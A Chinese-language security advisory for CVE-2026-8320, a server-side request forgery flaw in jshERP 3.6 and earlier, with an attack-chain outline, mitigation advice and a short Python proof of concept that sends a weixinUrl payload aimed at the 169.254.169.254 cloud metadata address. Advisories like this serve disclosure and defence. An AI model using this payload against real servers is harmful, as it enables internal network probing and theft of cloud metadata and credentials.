IPBUF安全漏洞报告
English
CVE-2026-8320 CVSS 4.7 中危

CVE-2026-8320 jshERP服务端请求伪造漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8320
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
jishenghua jshERP

相关标签

SSRFjshERP服务端请求伪造中危漏洞Java

漏洞概述

jishenghua jshERP 3.6及之前版本存在安全漏洞。该漏洞源于UserService.java文件中的getUserByWeixinCode函数未正确处理updatePlatformConfigByKey端点的weixinUrl参数。攻击者需具备高权限,利用此漏洞发送精心构造的请求,导致服务器发起非预期的HTTP请求(SSRF),可能造成内网端口探测或敏感信息泄露。

技术细节

该漏洞位于jshERP后端Java组件中。受影响的具体文件是jshERP-boot/src/main/java/com/jsh/erp/service/UserService.java,受影响函数为getUserByWeixinCode,该函数被updatePlatformConfigByKey端点调用。漏洞原因是开发人员未对传入的weixinUrl参数进行严格的校验,直接将其作为目标地址发起网络请求。由于CVSS评分要求PR:H(高权限),攻击者通常需要登录管理员账户才能访问该接口。利用时,攻击者可修改weixinUrl为内网地址(如127.0.0.1、阿里云元数据地址等),服务器会代替攻击者向该内网地址发送请求。攻击者可通过分析响应时间或响应内容判断内网端口开放情况,甚至利用Gopher协议攻击内网其他服务(如Redis、FastCGI),导致进一步的数据泄露或服务器被控制。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是jishenghua jshERP,且版本在3.6及以下。
STEP 2
2. 获取认证
由于漏洞需要高权限(PR:H),攻击者通过弱口令爆破或钓鱼获取管理员账户凭证。
STEP 3
3. 构造恶意请求
攻击者构造包含恶意weixinUrl参数的POST请求,目标指向内网敏感地址(如127.0.0.1:8080)。
STEP 4
4. 发送攻击载荷
向updatePlatformConfigByKey端点发送携带恶意载荷的请求。
STEP 5
5. 执行SSRF
服务器端解析请求并向攻击者指定的内网地址发起连接,返回响应给攻击者,实现内网探测或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-ip:port/jshERP-boot/user/updatePlatformConfigByKey" # SSRF Payload (e.g., accessing internal metadata) ssrf_payload = { "weixinUrl": "http://169.254.169.254/latest/meta-data/hostname" } # Headers (High privilege token required) headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_ADMIN_TOKEN>" } try: response = requests.post(url, json=ssrf_payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

jishenghua jshERP <= 3.6

防御指南

临时缓解措施
在WAF或网关处配置规则,拦截包含内网IP段(如127.0.0.1, 192.168.x.x, 10.x.x.x, 172.16-31.x.x)的weixinUrl参数请求;暂时禁用updatePlatformConfigByKey接口对非信任IP的访问。

参考链接